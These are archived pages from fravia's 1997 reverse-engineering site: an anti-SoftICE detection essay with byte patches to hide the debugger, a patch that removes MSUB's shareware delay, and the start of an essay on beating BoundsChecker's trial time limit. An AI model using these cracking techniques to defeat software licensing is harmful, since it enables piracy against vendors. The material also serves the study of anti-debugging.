:00401071 C3 ret !
; Back to the caller

OK, we see that this new simple and 'ready-to-use' protection will probably please
a huge amount of unexperimented shareware programmers. Since it is available at
Windows95.com, I assume we may have to face it very soon.

But is S-T-U-P-I-D because we now will be able to check if any program is detecting
Soft-Ice even before it will have the time to do so: just with a BPX CreateFile(A).

Anyway, this will make shareware crackers a little bit easier about the safety of
the software they want to reverse engineer too.

(c) Frog's print 1997. All rights reserved

http://www.instinct.org/fravia/fp_melti.htm (4 of 6) [2/7/2001 3:10:38 PM]


fp_melti

Here is the important addition by Kox (27 August 1997):

Defeating MeltedICE for good in 10 Seconds.

They sure can't be serious for publishing such MeltedICE.


You can never rely on a constant string comparison to detect SoftICE.

Here is how to defeat it in 10 seconds:


(I guess everybody knows this, but just in case someone didn't think of it..)

Just replace the string "SICE" with "KICE" (or whatever you want) in the files
"Winice.exe" and "nmtrans.dll"

(Please do not use "KICE" ,just use a unique string... cause those MeltedICE
people may update it by checking for "KICE" too :)

And gone is the check for VxD name "SICE".

You can check the VxD names with many tools.. (Infospy for example)

This goes for win95 version and i guess would work for NT too..
(although for NT you have to recalculate the checksums as in +HCU Project 2)

This way of detecting SoftICE is the same one used


in the "nmtrans.dll" Function "DevIO_ConnectToSoftICE" so i guess they
reversed engineer that function.. (You see the pun,they do reverse engineer
too,
i guess no one can just live without Reverse Engineering :-) well,except for
zombies ..

Later

Kox

You are deep inside fravia's page of reverse engineering,


choose your way out:

http://www.instinct.org/fravia/fp_melti.htm (5 of 6) [2/7/2001 3:10:38 PM]


fp_melti

project 2

homepage

links

anonymity
+ORC

students' essays

academy database

tools

cocktails

antismut CGI-scripts

search_forms

mail_fravia

Is reverse engineering illegal?

http://www.instinct.org/fravia/fp_melti.htm (6 of 6) [2/7/2001 3:10:38 PM]


civetta

NO MORE annoying anti SOFT-ICE tricks


(how to improve SOFT-ICE)
by The Owl (Winice wizard eccelso)

Courtesy of fravia's page of reverse engineering

NO MORE annoying anti SOFT-ICE tricks or


how to improve SOFT-ICE!

intro

today's best EXE protectors contain code to prevent debugging with


SOFT-ICE, which is the best debugger among the ones i came across so
far. following protectors are known to me to defeat SOFT-ICE:

EEXE (Encrypt Exe found in FZC.EXE)


HACKSTOP (found in WWPACK.EXE)
PROTECT! (found in various files)
GUARDIAN ANGEL (found in some versions of HWINFO.EXE)
EXELITE (a Polish exe compressor)
the one written by PREDATOR 666 (found in DCA.EXE v1.4)
the one used by Martin Malk (found in HWINFO.EXE v3.05 and up)
DS-CRP by Dark Stalker (hi!)
SECURE v0.19 by the authors of WWPACK
ALEC v1.5 (the very best protector :-) by Random
and a few others i don't remember right now...

the problems

SOFT-ICE can be detected/halted/crashed in many ways, here's a short


list of them (some of them only makes single stepping harder but not
impossible). i also included a short note on the effects for each version
of SOFT-ICE:
:-( this trick works,
:-) it causes no problems

1. by the use of the INT3 interface provided by SOFT-ICE one can


check for the presence of SOFT-ICE and then have it execute various
commands, e.g. HBOOT (see HackStop). the loader part of SOFT-ICE
also leaves some traces in the low DOS memory, so one can find out

http://www.instinct.org/fravia/civetta.htm (1 of 16) [2/7/2001 3:10:48 PM]


civetta

the entrance values of the INT3 interface even if they were changed
(see HMVS - a heuristic macro virus scanner - by J. Valky and
L. Vrtik that uses SECURE v0.19). the Windows versions can also be
detected by the following code (thanks to Dark Stalker and ACP :-):

mov ebp,"BCHK"
mov ax,4
int 3
cmp ax,4
jne winice_installed

it seems that BoundsChecker talks to SOFT-ICE via an interface very


similar to the one between LDR.EXE and SOFT-ICE (although it's
completely undocumented, as far as i know...)

DOS: :-(
W31: :-( (but the SECURE method is :-)
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)

2. by checking for various devices SOFT-ICE installs ("CVDEBUG",


"NU-MEGA", "SOFTICE1") and searching the part of the code SOFT-ICE
leaves in the low DOS memory for some patterns (e.g. "CVDEBUG",
"NU-MEGA", "SEGMAP", "S-ICE" (the latter coming from the filename),
and any instruction sequence that's left there) one can detect the
presence of SOFT-ICE. the Window$ versions provide a VXD entry point
that can be get by:

mov ax,01684h
mov bx,0202h ; VXD ID for Winice, check out Ralf Brown's INTLIST
xor di,di
mov es,di
int 2fh
mov ax,es
add di,ax
cmp di,0
jne winice_is_installed

the Window$ versions can also be detected by calling the "debugger


install check" function of the Window$ debug kernel (int 42/ax=0041),
for more details see Ralf Brown's INTLIST.

see HWINFO.EXE and DS-CRP.COM for an extensive application of these


checks...

DOS: :-(
W31: :-) but the VXD entry point check is :-(
W95: not tested yet (probably same as W31)

http://www.instinct.org/fravia/civetta.htm (2 of 16) [2/7/2001 3:10:48 PM]


civetta

WNT: not tested yet (probably same as W31)

3. by the use of the undocumented ICEBP/INT01 instruction (opcode 0xF1):


SOFT-ICE gives a short beep before the execution of this instruction
(it will be reflected back to the V86 mode handler, thus at least
the intended handler will get it) which can be VERY annoying (and
make the execution VERY slow), see EEXE for an application of this.

DOS: :-(
W31: :-)
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)

4. by using the TRAP flag, one can use the single stepping feature to
call a protection routine (e.g. a decryptor). the problem is, that
during single stepping SOFT-ICE clears the TRAP flag for the V86 task
and will neither execute nor step into the INT01 handler of the
V86 task. many schemes use this trick.

DOS: :-(
W31: :-(
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)

5. by the use of the debug (DRx) and control (CRx) registers:


accessing these registers in V86 mode leads to a General Protection
Fault (INT0D), which SOFT-ICE doesn't handle correctly (it's normally
used for emulating instructions that access the interrupt flag, the
debug registers, the control registers, etc.). the protected mode
handler emulates instructions that access these registers by
executing them, however it doesn't make note about this for itself,
i.e. whenever a debug fault is triggered SOFT-ICE will think that
it must pop up and won't reflect back this exception to the V86 mode
handler (that's waiting for it in vain). for a working example see
GUARDIAN ANGEL. furthermore, accessing DR4/5 and CR1 will halt
SOFT-ICE with a General Protection Violation error message, which is
of course quite disturbing if it's used many times in the program...

and best of all by accessing CR4 SOFT-ICE simply crashes since


there's no emulation code for this kind of instructions (there's a
jump table that tells SOFT-ICE which routine to use to handle these
instructions and the table ends with CR3...). this method was first
used by Random in his ALEC.EXE v1.4 :-)

another sad fact is that the emulation in SOFT-ICE is not complete:


it ALWAYS uses eax no matter what the original instruction was...

e.g. mov dr0,ebx will load dr0 from eax!

http://www.instinct.org/fravia/civetta.htm (3 of 16) [2/7/2001 3:10:48 PM]


civetta

mov ecx,dr0 will load eax from dr0!

i guess it's needless to say how easy it is to detect this behavior...

a sidenote for protection writers: other memory managers that run


DOS in V86 mode may or may not handle these instructions correctly,
so the use of this trick is highly discouraged.

DOS: :-(
W31: :-(
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)

6. by the use of INT08, which is the timer interrupt in real mode DOS,
and the Double Fault Exception in protected mode. the protected mode
handler checks whether it was entered from V86 mode or not, and in
the first case it reflects back this interrupt to the V86 mode
handler. however, one can't single step into it.

DOS: :-(
W31: :-)
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)

7. by the use of the INT07 interrupt (this is the Coprocessor Not


Available Exception):
instead of reflecting back this interrupt to the V86 mode handler,
SOFT-ICE tries to skip the offending coprocessor instruction (it
checks for some opcodes). it seems the Nu-Mega folks never thought
it would be called directly... for a real life application get some
programs written (and protected) by Predator 666.

DOS: :-(
W31: :-)
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)

8. by the use of the Invalid Opcode Exception (INT06):


SOFT-ICE tries to emulate some instructions (e.g. LOADALL), and then
reflects back this exception to the V86 mode handler. however,
certain opcodes aren't recognized and will give you an error message
(i.e. execution will be interrupted, if the protection scheme uses
this trick).

DOS: :-(
W31: :-(
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)

http://www.instinct.org/fravia/civetta.htm (4 of 16) [2/7/2001 3:10:48 PM]


civetta

9. by using direct INTxx calls that are triggered by hardware


interrupts (e.g. INT08-INT0F, INT70-INT77, if the vectors in the PIC
are not reprogrammed), one will not be able to single step into the
interrupt handler. in fact, SOFT-ICE will even execute the next
instruction and just then stop (if the next instruction is also an
INTxx call of this type then it will be stepped over as well, and so
on). so far, i know of no protection scheme that uses this trick,
but i guess i've just given out a good idea :-).

DOS: :-(
W31: :-)
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)

A. by reloading IDTR one can change the base and size of the interrupt
table in real mode as well. however, SOFT-ICE will not emulate this
instruction (it causes a General Protection Fault in V86 mode) thus
a protection using LIDT won't run. the only problem is that memory
managers don't like it very much, so probably we won't see it in a
real life protection scheme, but one never knows :-).

DOS: :-(
W31: :-(
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)

B. sometimes one has to call an interrupt directly (GENINT xx), e.g. to


dump a memory range to disk by using one's memory resident dumper
(you know what i mean :-) and it's very annoying that SOFT-ICE
doesn't stop after the interrupt call but executes the program
being debugged (thus one has to set a breakpoint for a moment at the
current CS:IP which will result in an unwanted 0xCC byte in the dump,
if all debug registers are already used).

DOS: :-(
W31: :-(
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)

C. in plain DOS INT3 and INT1 are handled by the same routine (which is
a simple IRET). however, SOFT-ICE changes the INT3 handler of the
V86 task to another IRET which can be detected by comparing its
offset to the one of the INT1 handler. see HWINFO.EXE for
an application

DOS: :-(
W31: :-)

http://www.instinct.org/fravia/civetta.htm (5 of 16) [2/7/2001 3:10:48 PM]


civetta

W95: not tested yet (probably same as W31)


WNT: not tested yet (probably same as W31)

the solutions

in the following part you'll be presented with some ideas about the
solution for the problems described above (the file offsets refer to the
DOS version v2.80, but the ideas should work for other versions, as well.
the easiest way to apply the patches is using Hacker's View which can
be found in HIEW531.ZIP).

one general problem is that SOFT-ICE (at least the DOS version) doesn't
reprogram the hardware interrupt vectors, and this makes life (and the
interrupt handlers) a bit more complex. the IDT that SOFT-ICE uses has
entries that point to the following type of code:

push xx
jmp handler_xx

where xx goes from 0x00 to 0xFF. in v2.80 this code begins at offset
0x4534. the Win31 version has a very similar code beginning at offset
0x14167 in v1.52:

push d,[offset_xx]
jmp handler_xx

if you want to understand the patches that follow right below, you
should study the interrupt handlers (and you should also have a good
understanding of protected mode). however, some problems cannot be solved
without understanding the internal flags of SOFT-ICE, and this requires a
complete disassembly of it, which is a quite hard task i can tell.

anyway, sooner or later it will be done, and then we'll have the
ultimate debugging/cracking tool in our hands 'cos we'll be able to put in
some missing functions, e.g. emulation of FlatRealMode, tracing INT1, PIC
reprogramming, prefetch queue emulation, dumping a memory range to disk,
etc. until then, enjoy the poor man's patches...

1. some exe protections mentioned earlier are based upon the INT3
interface of SOFT-ICE (see Ralf Brown's Interrupt List for details).
this interface is activated when the protected mode INT3 handler of
SOFT-ICE encounters the magic values in SI and DI. that is, when you
try to trace through an INT3 call, SOFT-ICE will regain control,
check for the magic values, and in case they are not found, it will
reflect back this interrupt to the V86 mode INT3 handler (which it
was supposed to do anyway). if it finds the magic values, then
it'll execute the command given in AX (and DS:DX). all of these
checks happen invisibly to the hacker, so there seems to be no
solution to defeat this kind of protection (well, there's a slow way

http://www.instinct.org/fravia/civetta.htm (6 of 16) [2/7/2001 3:10:48 PM]


civetta

if you step through every instruction and before the "guilty" INT3
call you change one or two registers).

however, there's a simple solution: change the magic values SOFT-ICE


is looking for and this will defeat those protectors based upon the
INT3 interface. however, it's easier said than done because both
SOFT-ICE (and WIN-ICE) itself and (W)LDR.EXE use this interface for
some kind of intra/inter process communication. so every reference
to the magic values will have to be changed!

to keep the story short here's what i've come up with:


browsing a few minutes in Hacker's View (another important tool ;-)
i found the places where those changes had to be done. in order to
avoid changes where those magic values occur by chance, i wrote an
MSUB script to change whole instructions (they represent enough
context). the amount of necessary changes would have forced me to
use some search&replace utility, anyway. MSUB.EXE can be found in
MSUB13.ZIP (use an ftp search engine to find it).

the scripts

SICE-VAL.MS: you should specify the old and new magic values in it
(note that numbers are decimal!)

SICE2NEW.MS: it will replace the old magic values with the new ones.
there are almost 2^32 possible values, only that value
is forbidden for SI that equals to the version of
SOFT-ICE (for v2.80 it is \128\2, i.e. 0x0280). before
SOFT-ICE installs itself, it checks for its presence by
using an undocumented function of its INT3 interface by
setting AH to 0 or 1. on return SI will be loaded with
the version number or left unmodified if it's not
installed yet, that's why the version number must differ
from the preloaded value of SI.

example usage

MSUB.EXE SICE2NEW.MS S-ICE.EXE LDR.EXE

if you're fed up with the shareware delay built into MSUB.EXE,


here's how you can get rid of it (thanks to a friend of mine ;-)

patch MSUB.EXE v1.3 (113,152 bytes long) as follows:

offset old new


00002307: ?? EB
00002308: ?? 03
0000C0DF: 77 EB

the protection that SECURE uses is quite clever 'cos it checks the

http://www.instinct.org/fravia/civetta.htm (7 of 16) [2/7/2001 3:10:48 PM]


civetta

first 16 kBytes for the instruction sequence of

mov si,SI_MAGIC
mov di,DI_MAGIC

they're encoded as 0BEh,x,y,0BFh,u,v where x,y,u and v are the magic


values. when it finds 0BEh and 0BFh separated by two bytes from each
other then it calls INT3 with the supposed magic values (the INT3
handler is a simple IRET, so no problem should arise if SOFT-ICE is
not installed). and guess what happens when SECURE finds the traces
of the loader part of SOFT-ICE in that low memory area...

the only solution that would defeat this kind of protection is to


change the instructions that load SI and DI before the INT3 calls
(unfortunately you can't avoid those calls since SOFT-ICE has to
check for its presence and do other things). for obvious reasons
(i guess one of the previous versions of this file gave the SECURE
authors the idea...) i won't give you tips on how to do it, i hope
you're smart enough to do it yourselves.

the only limit is that you have 6 bytes of space to load both SI and
DI (i checked that whenever SOFT-ICE uses the INT3 interface it loads
SI and DI by two consecutive instructions, i.e. you can use the MSUB
scripts to search for and replace them). another method could be to
change the HBOOT command to something else (by MSUB of course),
however other dangerous commands could be still issued...

the BoundsChecker interface can be modified in the same way we did


it with the rest of the INT3 interface: simply modify the value that
is expected in ebp (but BoundsChecker must be changed as well!).
look for the string "KHCB" to find the appropriate place.
the following file offsets are valid for WINICE for Win 3.1 v1.52:

offset old new


000130C7: 'K' ?
000130C8: 'H' ?
000130C9: 'C' ?
000130CA: 'B' ?

for WINICE for Win95 v3.0:

offset old new


00016FDD: 'K' ?
00016FDE: 'H' ?
00016FDF: 'C' ?
00016FE0: 'B' ?

and for WINICE for Win95 v3.01:

offset old new

http://www.instinct.org/fravia/civetta.htm (8 of 16) [2/7/2001 3:10:48 PM]


civetta

000243F0: 'K' ?
000243F1: 'H' ?
000243F2: 'C' ?
000243F3: 'B' ?

2. the device names can be changed to anything you want, look at the
beginning of S-ICE.EXE. the real problem is when the protection
checks for instruction sequences. my only advice is that step through
the protection and see which part of the code is checked for, then
try to modify it in S-ICE.EXE (or disassemble, modify and then
recompile the whole executable, but that's not gonna happen for
a long time, i guess... :-).

to defeat the int41 check, you have to change both the return value
of the real and protected mode handlers in WINICE and the value that
is checked for in KRNL386.EXE, VMM32.VXD, EMM386.EXE, IFSHLP.SYS and
NET.EXE. all these changes are necessary otherwise some WINICE
commands (HWND, TASK) won't work 'cos apparently they rely on some
Window$ functions which are available only in the debug kernel (and
during startup these programs/drivers do this int41 check which will
fail if you don't change the values they're expecting, as well).

there're five places in WINICE that have to be patched (one is a cmp,


the other four are mov's) and one in each one of the rest. sorry,
that i don't provide you with detailed offsets, but there're too many
versions/combinations of both WINICE and Win31/Win95... note, that
after these changes other programs that want to use debug kernel
functions will fail :-)

and now let's talk about the VXD entry point check. the ID is stored
at file offset 0x7821E in WINICE for Win95 v3.01 (to find it in
other versions as well just look for "SICE ", and the ID will be
a few bytes before this text).

so to change the ID just overwrite it there. however, it's not


enough since some companion programs also test for WINICE by trying
to get the VXD entry point, i.e. they have to be modified as well.
they're DLOG.EXE and WLDR.EXE, and search for int2F (opcode: 0xCD
0x2F) to get to the right place... :-)

anyway, for the versions that come with WINICE for Win95 v3.0,
the file offsets of the ID are 0x625/6 and 0x68B9/A respectively.

3. what we have to do is simply skip the unnecessary parts in the


handler (the beeps) and simulate the instruction as it would have
been a direct INT 01 call (opcode: 0xCD 0x01). this way one will not
only get rid of the beeps but be able to trace into the handler as
well (and we'll have some space to put some extra code in when we'll
need it :-).

http://www.instinct.org/fravia/civetta.htm (9 of 16) [2/7/2001 3:10:48 PM]


civetta

offset old new


00001DD5: 50 EB
00001DD6: 51 60

4. [this part is being worked on]

5. there are two possible solutions: we either disable the DRx emulation
feature of SOFT-ICE (this is quite easy to do) or correct it (this is
really hard to do). SOFT-ICE emulates each instruction by executing
a function whose offset is looked up in a table. each function ends
in the same way: IP of the V86 task is incremented by the appropriate
amount of bytes. so to disable emulation we'll change the pointers
in that table to the common end of the functions, this way these
instructions will essentially be handled as NOPs. i don't know
whether it's worth to do it or not, since this modification can be
detected by simply loading one of the debug registers and then
checking whether it's really been modified or not. a more elegant
solution would be to reserve a few bytes in the data segment of
SOFT-ICE for storing the values of these registers and emulate the
instructions (or at least their loading). anyone out there willing
to do that?

anyway, here's how to do the patch: the table itself is at file


offset 0x1F1DD and it has 12 words in it pointing to the
emulation code of the following instructions:

mov eax,dr0 and mov dr0,eax


mov eax,dr1 and mov dr1,eax
mov eax,dr2 and mov dr2,eax
mov eax,dr3 and mov dr3,eax
mov eax,dr4 and mov dr4,eax
mov eax,dr5 and mov dr5,eax
mov eax,dr6 and mov dr6,eax
mov eax,dr7 and mov dr7,eax
mov eax,cr0 and mov cr0,eax
mov eax,cr1 and mov cr1,eax
mov eax,cr2 and mov cr2,eax
mov eax,cr3 and mov cr3,eax

note that there's no offset for emulating CR4...

the offset of the common exit point (i.e. the new value you may want
to set these pointers to) is 0x175A (this is NOT a file offset...).

these patches still don't cure the problem with CR4. if you decided
to get rid of the emulation entirely (including CR4) then you can
do it much easier:

http://www.instinct.org/fravia/civetta.htm (10 of 16) [2/7/2001 3:10:48 PM]


civetta

offset old new


00002E7E: 03 0A
00002E7F: 00 01

6. i'll give you a general solution in section 8 since INT08 is just a


a subset of the hardware interrupts which are discussed there.

7. this problem can be solved quite easily: we replace the original


protected mode handler with the one that serves all not_IRQ_related
interrupts (and whose only task is to reflect them back to the
V86 mode handler).

offset old new


0000455A: B6 14
0000455B: DF D6

8. what we have to do is to skip the call that prints the error message
and simply reflect this interrupt back to the V86 mode handler.
note that your buggy programs won't cause SOFT-ICE to pop up after
this patch :-) (however, you'll be able to break in and see what
went wrong).

offset old new


00002447: A9 C3

9. now we'll make use of the extra space we made in the original INT01
handler. we have to check whether the interrupt was triggered by a
hardware IRQ or not. this can be done by the following routine:

push eax ; save the registers that will be modified


pushf ; the order of PUSHs is important!
mov al,0Bh ; we'll read in the in-service registers
out 20h,al ; master PIC
out 0A0h,al ; slave PIC
; there might be needed a short delay here
; however, on my machine it isn't :-)
in al,20h ; read INTs being serviced by master PIC
mov ah,al ; save for later test
in al,0A0h ; read INTs being serviced by slave PIC
test ax,0FFFFh ; was it a hardware int?
jnz original ;
popf ; restore flags
pop eax ; the general handler doesn't expect it
jmp offset 1B70h ; this has to be the general handler (this offset
; is valid in v2.80)
original:
mov ax,8 ; the first two instructions of the original handler

http://www.instinct.org/fravia/civetta.htm (11 of 16) [2/7/2001 3:10:48 PM]


civetta

popf ; were push eax, mov ax,8, thus we won't pop eax
jmp offset 1A77h ; this has to be the original handler's offset
; plus 5 bytes (the length of push eax, mov ax,8)

and at the beginning of the original handler (offset 0x1A72) we put:


jmp offset 1DD7h ; and since it's only 3 bytes long,
; we get 2 spare bytes :-)

the binary patches follow:

offset old new


00001A72: 66 E9
00001A73: 50 62
00001A74: B8 03

00001DD5: 50 EB
00001DD6: 51 60
00001DD7: B9 66
00001DD8: 03 50
00001DD9: 00 9C
00001DDA: B0 B0
00001DDB: 03 0B
00001DDC: E6 E6
00001DDD: 61 20
00001DDE: 51 E6
00001DDF: 33 A0
00001DE0: C9 E4
00001DE1: E2 20
00001DE2: FE 8A
00001DE3: E2 E0
00001DE4: FE E4
00001DE5: E2 A0
00001DE6: FE A9
00001DE7: E2 FF
00001DE8: FE FF
00001DE9: E2 B8
00001DEA: FE 08
00001DEB: E2 00
00001DEC: FE 75
00001DED: E2 06
00001DEE: FE 9D
00001DEF: E2 66
00001DF0: FE 58
00001DF1: E2 E9
00001DF2: FE 7C
00001DF3: E2 FD
00001DF4: FE 9D
00001DF5: E2 E9
00001DF6: FE 7F
00001DF7: E2 FC

http://www.instinct.org/fravia/civetta.htm (12 of 16) [2/7/2001 3:10:48 PM]


civetta

A. to solve this problem we should do a complete disassembly of SOFT-ICE


since we have to keep track of the base and size of the V86 mode
interrupt table, and this requires too many changes to be worth to do
it with simple byte patches.

B. a somewhat lame (but it's more than nothing) solution is the


following: we chain in a P RET command after GENINT by patching
the jump at the end of the GENINT handler to the beginning of P RET.
after executing GENINT we'll land at the IRET of our handler and
a further P or T will take us back to the original instruction we
were at. i said it was somewhat lame... but it works :-)

offset old new


000118BF: BC 00
000118C0: E0 C7

C. before executing anything call up SOFT-ICE and change the offset of


the V86 mode INT3 handler to the one of the INT1 handler.

D. !!! SURPRISE !!!

while you're in WINICE for Win95 v3.0 or 3.01 type in the following
command: "ver ice" and see what you get... however, note that due
to a bug (or feature?) you can use only once this command during
a session, you have to restart WINICE to be able to get the
message again.

and while we're at undocumented features, try out "ver ?" as well.
in the next release, i'll try to write a detailed description
of the new commands (not that if it were that hard to find out...)

unsolved mysteries :-)

1. even the Nu-Mega docs tell about a problem when SOFT-ICE for DOS is
loaded from the command line: if HIMEM.SYS is installed the machine
simply reboots. i tracked down the problem and found out that the
processor resets itself because of a triple fault. it happens so:

after preparing the IDT and GDT (and loading IDTR and GDTR), paging
will be enabled in CR0, and then DS and ES will be loaded a
descriptor offset of 8. however, both this descriptor and the IDT
seem to be invalid, and this leads to a triple fault. unfortunately,
i couldn't find out what goes wrong during the setup of IDT and GDT,
perhaps someone else out there will do the dirty job :-)... and maybe
Nu-Mega will award you with a free, legal version :-)).

http://www.instinct.org/fravia/civetta.htm (13 of 16) [2/7/2001 3:10:48 PM]


civetta

2. on a Cyrix 486DLC-40 system (both with and without a coproc) SOFT-ICE


gets a Page Fault and halts if the processor is running at 40 MHz,
but works fine at 33 MHz. the Page Fault seems to happen while the
code window is being put out (i.e. during the execution of the wc
command). this is nonsense! so far, no solution... and yes, it's
another dirty job...

P.S. for everyone

perhaps there's someone out there who didn't know it so far...


WINICE can be used without Window$ (and you'll be able to debug
programs that use some DOS extender, if it can make use of DPMI, but
that's the case with the most popular ones, e.g. DOS4GW or PMODE/W)!
the trick is that you have to make a 'crippled' version of Window$,
i.e. make Window$ start without its GUI. a complete description of
this can be found at the following URL:

http://www.fys.ruu.nl/~faber/Windows_No_GUI

after creating this GUI-less Window$ all you have to do is to start


WINICE (beware, your normal Window$ shouldn't be on your PATH!) and
voila, you'll be in a DOS session (i hope that you could find it out
yourself that you had to start COMMAND.COM as your KRNL386.EXE...)
with WINICE being able to pop up whenever you need it (of course, for
native Window$ programs you'll need a full Window$).

and if we're at Window$ here's another trick: if you don't want to


see the logo being shown every time you start Window$, either start
WIN.COM with a command line paramater of ':' i.e.

WIN.COM :

or (as the above method doesn't work with our GUIless version since
WINICE doesn't seem to pass any parameters or you are too lazy to
type in every time 2 more characters :-) look for the string 'LOGO'
in WIN.COM and change it to something else (it's enough to change
only one bit). note, that the WIN.COM of Window$ for Workgroups
doesn't like this patch...

P.S. for protection writers

i know that some of the above modifications can be defeated (i could


do it myself) however i won't make your life easier... i hope you
understand why :-)

The Owl 1997

http://www.instinct.org/fravia/civetta.htm (14 of 16) [2/7/2001 3:10:48 PM]


civetta

SICE-VAL.MS
cut from here ------
# OLD_SI: 'FG'
# OLD_DI: 'JM'

# OLD_SI
!:p=\71\70
# OLD_DI
!:q=\77\74

# NEW_SI
!:x=\71\68
# NEW_DI
!:y=\77\74
-------------- until here

SICE2NEW.MS
cut from here ------

!binary
!include sice-val.ms

# mov si,OLD_SI -> mov si,NEW_SI


\190:p
\190:x
# mov di,OLD_DI -> mov di,NEW_DI
\191:q
\191:y

# cmp si,OLD_SI -> cmp si,NEW_SI


\129\254:p
\129\254:x
# cmp di,OLD_DI -> cmp di,NEW_DI
\129\255:q
\129\255:y

# cmp w,[bp+4],OLD_SI -> cmp w,[bp+4],NEW_SI


\129\126\4:p
\129\126\4:x
# cmp w,[bp+0],OLD_DI -> cmp w,[bp+0],NEW_DI
\129\126\0:q
\129\126\0:y

# mov w,[bp+4],OLD_SI -> mov w,[bp+4],NEW_SI


\199\70\4:p
\199\70\4:x
# mov w,[bp+0],OLD_DI -> mov w,[bp+0],NEW_DI
\199\70\0:q
\199\70\0:y

http://www.instinct.org/fravia/civetta.htm (15 of 16) [2/7/2001 3:10:48 PM]


civetta

# not sure about these ones...

# cmp w,[4],OLD_SI -> cmp w,[4],NEW_SI


\129\62\4\0:p
\129\62\4\0:x

# mov ax,OLD_SI -> mov ax,NEW_SI


\184:p
\184:x
------------ until here

You are deep inside fravia's page of reverse engineering, choose your way out:

project 2
homepage links anonymity +ORC students' essays
tools antismut cocktails search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/civetta.htm (16 of 16) [2/7/2001 3:10:48 PM]


bouche

BoundsChecker time limit


("Persistent file protection")
by Harwi
(05 July 1997, slightly edited by Fravia)

Courtesy of Fravia's page of reverse engineering

Well... even Boundschecker uses a pretty simple "Cuckoo's egg" protection scheme... actually pretty deceiving, thinking how
good in assembly coding the Numega boys should be...
Thanks Harwi! Discovering this you show us the way... and I notice a very interesting "zen" touch in your reverse engineering
approach, btw :-)

How I did IT.

Reverse engineering
the Protection scheme of BoundsChecker 5

(Win95 14-day trial version)


By Harwi, 4 July 1997.

I would say that the "second" hottest debugger in the windows/dos world
is probably BoundsChecker (BC) from NuMega. I would also say that it
directly follows -in importance- after our beloved SoftIce, from that
same holy company.
From the moment I first saw BC version 4 on the Visual C/C++ version 4 CD
(VC4), about a year ago, I loved it.
For the people who don't know about it: BoundsChecker is a debugger for
application developers, i.e. people writing programs using the 'normal'
application programming interface (API) for Win95 or NT or whatever,
depending on what for a platform they are targeting. I would draw a line
between these programmers and those writing drivers (like VXD's in windows)
and stuff like that, where there is more low-level (assembler) programming
involved.
There are versions of BC for Win95, NT and Dos, I think, maybe more.

http://www.instinct.org/fravia/bouche.htm (1 of 6) [2/7/2001 3:10:52 PM]


bouche

(Bug: A Bug is -in computer language- an error or condition that crashes


or at least prevents a program from running as intended. Most bugs are due
to logical mistakes in the sequence of execution of statements. A debugger
is a program that lets the programmer monitor the code being executed and
gives him a chance to understand what is happening and what is going wrong.)

Conventional Debuggers, like theone you get with most compilers are nice
tools indeed, they let you step through the code, change variables put
breakpoints here and there and a lot more.
The annoying thing about them is that you have to have some sort of idea
or intuition) where your error is located, so that you can breakpoint
there and understand whats going wrong.
BC on the other hand does this work automatically, because it hooks each
and every API call, pointer read and pointer write and so on. So you
don't put any breakpoints anymore, you just run your program inside
BC and BC will break whenever your program executes any error, and
display the source code, together with relevant explanations.
The responsable for theis brilliant tool is -as far as I know- Matt
Pietrek, who was (or still is?) project leader for BC at NuMega (if
you are reverse engineering anything at all you MUST have read his
books :-)
I must state here that I believe BoundsChecker absolutely worth its
price, and should I ever use it for commercial purposes, I will
purchase a copy!

Sadly enough the first demo I had, on the VC4-CD, was limited to
debugging an application called Bugbench, that made the ugliest
programming errors -that kind of errors that everyone who has
ever done application development loves to find in her/his source
code.
Too bad that I didn't know how to crack it at that time... I could
not, because I hadn't yet learned enough about cracking.

When I came across Fravia's Page, about a month ago, I read +ORC's
tutorial and a lot of the students' essays, and after reading, I
tried to crack BoundsChecker and guess what: I got it.
That was a great success for me :-)

So, here comes the interesting part...

How I did IT.


First I downloaded bc50_v(1).exe from http://www.numega.com.
Download quickly! I don't know how long they'll keep it there after
the publishing of this essay... (you'll be able to fetch it from other
+crackers though :-)

Being all excited about this new "time limited" version, I installed it
at once, without saving important system stuff, like the registry, and
the various windows directory files...
A mistake and a pity, because later I had to fetch another computer
and re-install the same software again, in order to see which registry

http://www.instinct.org/fravia/bouche.htm (2 of 6) [2/7/2001 3:10:52 PM]


bouche

entries had been made and HAD NOT been removed by the uninstaller, a
fact evident, since the time limit expiration did hold after
uninstalling.

Unfortunately I made a second mistake, assuming that BoundsChecker


saved the date information inside the registry. This is common with
many programs, NOT with BoundsChecker!
Therefore I didnt backup the VERY IMPORTANT (and unfortunately huge)
file list of both the windows directory
and the windows\system directory.
Too bad - comparing the registry backup with the registry after the
install didn't give me any clue... no suspicious looking entry at
all.
Not very smart! I had wasted the two machines I had available for
my installations and still wasnt able to just reinstall BC in order
to use it after the trial period expires. That means only one thing:
the date information must be hidden somewhere in ANOTHER file
installed on my machine.

By simply uninstalling BC you will not reset your trial period anew.
I found that you can play around with the system date, though, and
in this way you'll be able to use BC as long as you want.
But thats not what I like, and of course for such kidding you have
to remember the original install date, in order to be able to set
the system date within the allowed 14 days, which is also neither
really "elegant" nor nice.
I had to crack this target, I felt it :-)

What did I do?


Using SoftIce I put a breakpoint on GetSystemTime API function.
Then I started BC and ... nothing! BC is not calling GetSystemTime,
how is that possible? Are they using some fancy stuff to get the
date? I was puzzled.
I load Bugbench and press the Run button, the Trial Dialog pops up.
Still no call to GetSystemTime, Im missing something here.
I went and got a coffee (Im sorry Fravia! there were no cocktails
around) and thinked about it.
Lets try DialogBoxParamA, somewhere the target must open that
dialogbox!
I pressed Run again.
There we are! SoftIce comes up, I type stack, but no callstack
is displayed, I dont know what this means, maybe someone can
explain it (?).

I step through the system code to the next return.


Thats it I am now in TLOCK32.DLL, before I didnt even know that
TLOCK32 was used by BC because BC.EXE does not have an import
section, so you cant see what DLLs are used. The DLLs in the
BC directory dont say what they import either. To see the static
imports of .exe and ...dll files, you can use the Quick View
that comes with windows.
If disassembled BC.EXE still does not have any explicit reference
